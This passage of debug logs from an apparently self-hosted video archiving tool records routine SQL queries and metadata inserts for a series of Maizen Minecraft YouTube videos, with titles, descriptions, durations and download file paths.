s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:37.625 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:37.626 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [366904] 18:04:37.626 [debug] Current batch of media processed. Will check again in 1000ms 18:04:38.627 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3658, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", "id" => "jXiB2M0bZX8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXiB2M0bZX8", "playlist_index" => 5, "timestamp" => 1783668694, "title" => "PRISON ESCAPE in Minecraft", "upload_date" => "20260710"} 18:04:38.628 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:38.628 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:38.630 [debug] QUERY OK source="media_items" db=1.4ms idle=1003.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 18:04:38.631 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "4dd5a1f9-6690-4ad1-810e-fe5500b42722", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 01:04:38Z], ~U[2026-08-20 01:04:38Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 18:04:38.631 [debug] QUERY OK source="sources" db=0.1ms idle=39.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:38.632 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:38.632 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [310552] 18:04:38.632 [debug] Current batch of media processed. Will check again in 1000ms 18:04:39.633 [debug] Current batch of media processed. Will check again in 1000ms 18:04:40.634 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4704, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", "id" => "2nxBCespd7c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2nxBCespd7c", "playlist_index" => 6, "timestamp" => 1782529206, "title" => "JJ IS DEAD : The Movie", "upload_date" => "20260627"} 18:04:40.635 [debug] QUERY OK source="sources" db=0.2ms idle=947.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:40.635 [debug] QUERY OK source="sources" db=0.1ms idle=947.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:40.637 [debug] QUERY OK source="media_items" db=1.3ms idle=948.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 18:04:40.638 [debug] QUERY OK source="media_items" db=0.6ms idle=949.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "f050fd29-25e8-43a9-946e-d7da173d1da5", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 01:04:40Z], ~U[2026-08-20 01:04:40Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 18:04:40.638 [debug] QUERY OK source="sources" db=0.2ms idle=42.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:40.638 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:40.639 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [231209] 18:04:40.639 [debug] Current batch of media processed. Will check again in 1000ms 18:04:41.640 [debug] Current batch of media processed. Will check again in 1000ms 18:04:42.641 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5211, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", "id" => "a8EKAWT99Ys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a8EKAWT99Ys", "playlist_index" => 7, "timestamp" => 1781924406, "title" => "MIKEY IS DEAD : The Movie", "upload_date" => "20260620"} 18:04:42.642 [debug] QUERY OK source="sources" db=0.2ms idle=954.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:42.642 [debug] QUERY OK source="sources" db=0.1ms idle=954.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:42.644 [debug] QUERY OK source="media_items" db=1.3ms idle=955.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 18:04:42.645 [debug] QUERY OK source="media_items" db=0.6ms idle=956.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "0a2b1a38-11c9-46a9-bedc-3a105d504f97", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 01:04:42Z], ~U[2026-08-20 01:04:42Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 18:04:42.645 [debug] QUERY OK source="sources" db=0.1ms idle=47.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:42.645 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:42.646 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213214] 18:04:42.646 [debug] Current batch of media processed. Will check again in 1000ms 18:04:43.647 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5542, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", "id" => "3RR5Sbesx6s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3RR5Sbesx6s", "playlist_index" => 8, "timestamp" => 1781319606, "title" => "THE WORLD's STRICTEST TEST: The Movie", "upload_date" => "20260613"} 18:04:43.647 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:43.648 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:43.649 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 18:04:43.650 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "9b003fe6-f765-46c8-b3fe-e7b500959a47", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 01:04:43Z], ~U[2026-08-20 01:04:43Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 18:04:43.651 [debug] QUERY OK source="sources" db=0.1ms idle=51.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:43.651 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:43.652 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183790] 18:04:43.652 [debug] Current batch of media processed. Will check again in 1000ms 18:04:44.653 [debug] Current batch of media processed. Will check again in 1000ms 18:04:45.654 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to 